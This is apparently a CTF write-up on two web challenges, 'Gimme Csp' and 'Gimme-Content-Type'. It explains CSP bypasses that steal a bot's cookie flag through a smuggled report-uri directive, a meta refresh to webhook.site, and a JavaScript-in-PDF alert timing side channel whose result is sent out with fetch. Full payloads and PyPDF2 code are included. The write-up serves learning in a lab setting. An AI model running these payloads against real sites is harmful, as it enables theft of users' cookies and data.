The task is based on the Asis Finals task `Gimme Csp`, but with a twist that makes it much more difficult to solve. During Mapna CTF 2024, no one solved the task, compared to the ASIS CTF Finals 2023 task that was solved by 47 teams. These CTFs were some time ago. However, I would like to take a closer look at it. First, we begin with the base challenge from ASIS Finals.
Prequel: Gimme csp - ASIS Finals
The challenge includes:
a simple web application that uses an Express framework implemented mainly in a file `index.js`, which returns the flag if the request complies with CSP policy,
bot - a typical CTF bot that visits a URL and puts the flag in the cookie.
Let’s look at the important parts of the code of the `index.js` from the web application.
Middleware for parsing cookies:
app.use(cookieParser())
Middleware for CSP policy sets the header to `default-src: none`. As a result, the web app cannot load any external resources (like scripts, stylesheets, images, frames, and objects) because no exceptions are specified by more specific directives like: `frame-src` or `img-src`.
Next, the code checks for `sec-required-csp` directive used by an embedder like our web application to specify the CSP for embedded content like an iframe. `sec-required-csp` is an HTTP header set by the browser to notify the server about the minimum required CSP policy. For instance, if the embedder website wants to specify the allowed source for iframe scripts, the scenario can look like this:
1. Embedder specifies CSP using `csp` attribute:
<iframe src=”...” csp=’script-src https://super-trusted-source-definitely-not-malicious.com’ >
2. Then, a browser sends `sec-required-csp` header while requesting the iframe content:
`Sec-Required-CSP: script-src https://super-trusted-source-definitely-not-malicious.com`
3. Next, the embedded content has to respond if it agrees with this policy so that the browser can enforce the CSP policy.
In our example, the code checks if it won’t try to add additional script sources, but in a broken way:
app.use((req,res,next)=>{
res.header('Content-Security-Policy', [`default-src 'none';`, ...[(req.headers['sec-required-csp'] ?? '').replaceAll('script-src','')]] )
if(req.headers['referer'])
return res.type('text/plain').send('You have a typo in your http request')
next()
})
This part specifies a GET request with a query parameter `letter`. If the `letter` includes the string `$gift$`, it is replaced by the gift which includes the flag. The codes also specify default values.
app.get('/',(req,res)=>{
let gift = req.cookies.gift ?? 'ASIS{test-flag}'
let letter = (req.query.letter ?? `You were a good kid in 2023 so here's a gift for ya: $gift$`).toString()
res.send(`<pre>${letter.replace('$gift$',gift)}</pre>`)
})
We have to find a solution to bypass CSP to get a flag. Let’s run the task in a docker container and solve this task. There are two solutions:
the solution suggested by the challenge description involves using iframes. I haven’t solved it this way during CTF, so the solution is based on the post below from ASIS Finals Discord.
The main idea of this solution is to use `report-uri`, which sends a log with the flag. Ironically, `report-uri` is a security feature to report CSP violations to mitigate XSS and injection attacks. In our example, we violate `default-src: ‘none’`.
However, in the typical case, it would not be possible to just set `report-uri` to the CSP policy in the embedded iframe because of CSP rules for iframes.
In our case, we set it to `repscript-srcort-uri` so it will pass the parsing and won’t violate this rule. Next, `index.js` code replaces `script-src` for an empty string, so we get `report-uri` with its whole functionality.
[(req.headers['sec-required-csp'] ?? '').replaceAll('script-src','')]
Let’s write the solution. First, we need a web page - the embedder - running on a simple server. Next, we can create an HTML webpage with iframe - the embedded element.
The HTML file with the crafted attack will look like this:
<iframe src='http://localhost:5431/?letter=</pre><img src="$gift$">' csp="default-src 'none'; repscript-srcort-uri https://webhook.site/xxx" referrerpolicy="no-referrer"></iframe>
This really interesting view from the browser of the HTML file:
What’s worth mentioning is that we have to set attribute `referrerpolicy="no-referrer"`, otherwise`index.js` returns 'You have a typo in your http request'.
if(req.headers['referer']) return res.type('text/plain').send('You have a typo in your http request')
Next, we send it to the bot.
Then, check for the incoming request from the Webhooks site and wait for the CSP policy violation report to get the flag.
The second solution, the one I used during CTF, involves using a meta tag.
I learnt about this technique on Hacktricks - this webpage is a great source of information about many other techniques and tricks.
This solution is much easier than the previous one. We create an HTML file on our simple web server. Next, add a meta tag that redirects the bot to the Webhook URL with the flag included in the URL parameters.
<meta
http-equiv="refresh" content="0; URL='https://webhook.site/XXXX/$gift$'" />
Finally, we send the HTML file to the bot and check for the flag in Webhooks.
This solution would work even if we change `sameSite: None` to `Lax` in `bot/stuff/bot.js`, while the solution with iframe won’t work.
async function visit(url){
….
await page.setCookie({
httpOnly: false,
secure: true,
name: 'gift',
value: flag,
domain: webDomain,
sameSite: 'None'
});
…
}
A third non-solution involves using a script tag.
We could try to force the website to generate a script that we will include on our site (script tag is exempt from CORS policy):
<script
src="http://<target-site>/?letter=location.href%3D%60http%3A//webhook.site/<id>?%3F%24gift%24%60" referrerPolicy="no-referrer">
</script>
This almost works. The returned content is:
<pre>location.href=`http://example.com/?ASIS{test-flag}`</pre>
If not for the <pre> tag, we would have a solution. Unfortunately, it doesn’t seem possible to create a valid JS file that begins with “<pre>”.
It's possible that there are many other solutions. Comment below if you see them.
Gimme-Content-Type - Mapna 2024
Most of the challenge content is the same, but there are some changes in the GET request. Let’s compare them:
In the new version updates:
add `content_type` to the URL parameters,
remove null bytes in `letter` URL parameter
and most importantly, add some quotes to the text replaced with the flag:
letter.replace('$gift$',`Here's your gift: "${req.gift ?? "MAPNA{1337}"}"`)`.
This change makes the payload that returns the flag much more complicated:
`Here's your gift: "${req.gift}" `
For example, for this payload:
`<meta http-equiv="refresh" content="0; URL=https://webhook.site/xxxx/Here's your gift: "super{Gift}" />`
We get `https://webhook.site/xxxx/Here's%20your%20gift` because of the double quote before `super`. If we also try other options for escaping it, we will fail. We can assume that injecting HTML won’t work so we can think about other content types.
I thought about using a different encoding, for example, UTF-16, but the code prevents this method.
First, if we try header:
Content-Type: text/plain; charset=UTF-16
The code won’t set the content type because of this if:
if(/^[a-z]+\/[a-z]+$/.test(ct)){
res.setHeader('Content-Type', ct)
}
Second, all null bytes are removed, so most non-special characters like the Latin alphabet won’t be possible to generate.
let letter = (req.query.letter ??`$gift$`)
.toString().replaceAll('\x00','')
At this stage, we can assume that the challenge involves finding the right content type, but there are so many of them! Fortunately, there is a hint to the challenge:
When I googled it, I found it possible to add JS code to a PDF file. One of the interesting founds was this article. Then, I constructed a pdf file with a basic alert using the Python library PyPDF2:
from PyPDF2 import PdfWriter, PdfReader
writer = PdfWriter()
# Add JavaScript
writer.add_js("app.alert('greetings from an alert, xoxo');")
# Write to a new PDF
with open('testig_pdf_basic_alert.pdf', 'wb') as output_pdf:
writer.write(output_pdf)
Let’s see the pdf:
I’ve tried to come up with the next step. I found the PDFium repo, which implements a PDF rendering library used in Google Chrome. I’ve checked the other JS functions from PDFium, but not all of them were even implemented. I couldn’t find any function that allows sending data to an external link or communicating with the parent page. However, if someone could dive deeper into this repo, it may be possible to find some interesting PDFium functions for exploitation.
Well, I got stuck. I wasn’t even sure if I should use the alert functionality or find something similar in PDFium. There were few resources on the internet about PDF exploitation, and I was going nowhere… Finally, I read the model solution. What I was missing this whole time was the information that:
`The intended solution abuses the fact that using app.alert() closes the previously opened alert()... opening alert() stops the js renderer until the tab receives an OK from user OR the alert is closed by another alert.`
The main idea is to use two alerts since only one can be opened at the time. We can leak the PDF state by counting the time between alert closure by another alert. As PDF can get the flag, but we cannot directly read it, this communication channel will help us leak it! Let’s take a closer look at this idea.
We create an HTML document with a first alert - let’s call it an outer alert. Next, embed the iframe with the challenge website as a letter. We added a crafted PDF file with the second alert - let’s call it an inner alert.
Each of the two alerts is managed by an asynchronous function.
We mark the time; let’s call it time A. Then, open the outer alert.
Meanwhile, we check if the nth letter is equal to our guess (if(gift[index] == alpabet[i])). If it’s equal, we wait before opening the alert. Otherwise, we open it instantly.
In effect, the outer alert is closed. We mark the time; let’s call it time B. If the delta between times B and A is short, we know that the guessed letter was not an equal flag. Otherwise, we got the next letter of the flag.
We go to point 1. until we leak the whole flag!
Solution
Now we have the solution idea, let’s write the code.
First, let’s finish working on the PDF payload. I asked ChatGPT to give me an example of using PyPDF2, and I based my code on its result. We create the PDF file. Next, add the JS code and encode the URL.
import PyPDF2
import io
from urllib.parse import quote
pdf_buffer = io.BytesIO()
pdf = PyPDF2.PdfWriter()
pdf.add_blank_page(width=72, height=72)
js_code = ‘…’ (snippet below)
pdf.write(pdf_buffer)
pdf_content_with_js = pdf_buffer.getvalue()
pdf_content_with_js = bytearray(pdf_content_with_js)
edit_non_acii_characters here (snippet below)
url_encoded_pdf = quote(pdf_content_with_js)
print("URL-encoded PDF content:", url_encoded_pdf)
We make a mark for the script by `SCRIPTXOXO`, so we will be able to edit it later dynamically. We also log errors. Otherwise, we won’t know if something goes wrong, as a PDF file doesn’t output errors in a browser console. Next, we construct the JS code to include in the PDF.
js_code = """
try{
SCRIPTXOXO
}
catch(err){
console.log(err);
}"""
js_dict = PyPDF2.generic.DictionaryObject({
PyPDF2.generic.NameObject("/S"): PyPDF2.generic.NameObject("/JavaScript"),
PyPDF2.generic.NameObject("/JS"): PyPDF2.generic.createStringObject(js_code)
})
js_name_tree = PyPDF2.generic.ArrayObject([
PyPDF2.generic.createStringObject("EmbeddedJS"),
js_dict
])
pdf._root_object.update({
PyPDF2.generic.NameObject("/Names"): PyPDF2.generic.DictionaryObject({
PyPDF2.generic.NameObject("/JavaScript"): PyPDF2.generic.DictionaryObject({
PyPDF2.generic.NameObject("/Names"): js_name_tree
})
})
})
My PDF still wasn’t valid. I found that it included non-UTF8 characters, so I edited them hoping it wouldn’t break the PDF. It worked.
for i, x in enumerate(pdf_content_with_js):
if int(x)>=128:
print(x, i)
pdf_content_with_js[i] = 1
And get output:
'%25PDF-1.3%0A%25%01%01%01%01%0A1%200%20obj%0A%3C%3C%0A/Type%20/Pages%0A/Count%201%0A/Kids%20%5B%204%200%20R%20%5D%0A%3E%3E%0Aendobj%0A2%200%20obj%0A%3C%3C%0A/Producer%20%28PyPDF2%29%0A%3E%3E%0Aendobj%0A3%200%20obj%0A%3C%3C%0A/Type%20/Catalog%0A/Pages%201%200%20R%0A/Names%20%3C%3C%0A/JavaScript%20%3C%3C%0A/Names%20%5B%20%28EmbeddedJS%29%20%3C%3C%0A/S%20/JavaScript%0A/JS%20%28%5C012%5C040%5C040%5C040%5C040try%5C173%5C012%5C040%5C040%5C040%5C040%5C040%5C040%5C040%5C040SCRIPTXOXO%5C012%5C040%5C040%5C040%5C040%5C175%5C040%5C012%5C040%5C040%5C040%5C040catch%5C050err%5C051%5C173%5C012%5C040%5C040%5C040%5C040%5C040%5C040%5C040%5C040console%5C056log%5C050err%5C051%5C073%5C012%5C040%5C040%5C040%5C040%5C175%29%0A%3E%3E%20%5D%0A%3E%3E%0A%3E%3E%0A%3E%3E%0Aendobj%0A4%200%20obj%0A%3C%3C%0A/Type%20/Page%0A/Resources%20%3C%3C%0A%3E%3E%0A/MediaBox%20%5B%200%200%2072%2072%20%5D%0A/Parent%201%200%20R%0A%3E%3E%0Aendobj%0Axref%0A0%205%0A0000000000%2065535%20f%20%0A0000000015%2000000%20n%20%0A0000000074%2000000%20n%20%0A0000000114%2000000%20n%20%0A0000000476%2000000%20n%20%0Atrailer%0A%3C%3C%0A/Size%205%0A/Root%203%200%20R%0A/Info%202%200%20R%0A%3E%3E%0Astartxref%0A564%0A%25%25EOF%0A'
Next, we create the HTML:
<div id="framehere">
hello
</div>
<script>
function inner_alerting(){...}
function outer_alerting(){...}
setTimeout(_ => {
outer_alerting()
},
4000);
inner_alerting();
</script>
The functions `inner_alerting` and `outer_alerting` run at the same synchronized by closing alerts. Let’s write start from inner_alerting.
function inner_alerting(){
let script = (script here)
let pdf = ( pdf here )
pdf = pdf.replace("SCRIPTXOXO", encodeURIComponent(script));
let frame = document.createElement('iframe');
frame.src = `http://localhost:5433/?content_type=application/pdf&letter=${pdf}`;
framehere.appendChild(frame);
}
The script that gets the flag. First, we make a variable for a gift, where the string `Here's your gift: [flag]` is placed. Next, we have the function that iterates through letters and pops up the alerts. If a letter equals the nth letter in the `gift`, we wait 2000 milliseconds to pop up an alert and recursively run the function for the next letter. Otherwise, we just get to know for function outer_alerting that the current letter is not the one we are looking for. To sum up, we need to display nth times the inner alert to know that the letter in the gift is equal to the nth letter in our alphabet.
let script = `
let abc = getAlphabet();
// backticks, so we get a string variable in script
var gift = \`$gift$\`.replaceAll('"', "");
function getNextFlagChar(index){
for(var i=0; i<abc.length; i++){
if(gift[index] == abc[i]){
app.setTimeOut("app.alert('PDF: We got good news – your flag is closer to you. We are working hard to get your flag. Please hold with us!'); getNextFlagChar(" + (index+1) + ");", 2000);
return;
}
else{
app.alert("PDF: We working hard to get your flag. Please hold with us! ");
}
}
}
getNextFlagChar(0);
`
The PDF variable includes the same text like one presented before.
Next, let's take a closer look at the `outer_alerting` function. In this function, we measure the time (timeB-timeA>500) when the alert was closed, which means the code gets to the next line which is (let timeB = performance.now()). If we wait longer than 500 milliseconds means that we found the next letter of the flag. If we reach the end, we send the flag to the server.
function outer_alerting(){
let abc = getAlphabet();
let letter_index_counter = 0;
let flag = "";
let x = setInterval(_ => {
//alert which synchronized with inner_alerting in pdf
let timeA = performance.now();
alert('We working hard to get your flag. Please hold with us!');
let timeB = performance.now();
// alert with longer timeOut was trigger which, inner_alerting founded next letter of the flag
if(timeB-timeA>500){
//we got the entire flag, just send it to us
if(abc[letter_index_counter] == '}'){
flag += "}";
fetch('URL?flag='+flag, {mode: 'no-cors' });
clearInterval(x);}
if(flag == ""){
flag += abc[letter_index_counter+1];
}
else{
flag += abc[letter_index_counter];
}
letter_index_counter = 0;
}
// alert with no timeOut was tigger which means, the code checked flag[index] == abc[count] was not equaled and we just need to increment
else{
letter_index_counter += 1;
if(letter_index_counter>abc.length){
throw new Error('out of index');
}
}
}, 500);
}
Next, we run the script and wait for the flag.
Let me know in the comments if you have any questions or if you’d like to see a solution to any other web CTF task!
Happy hacking! Bye!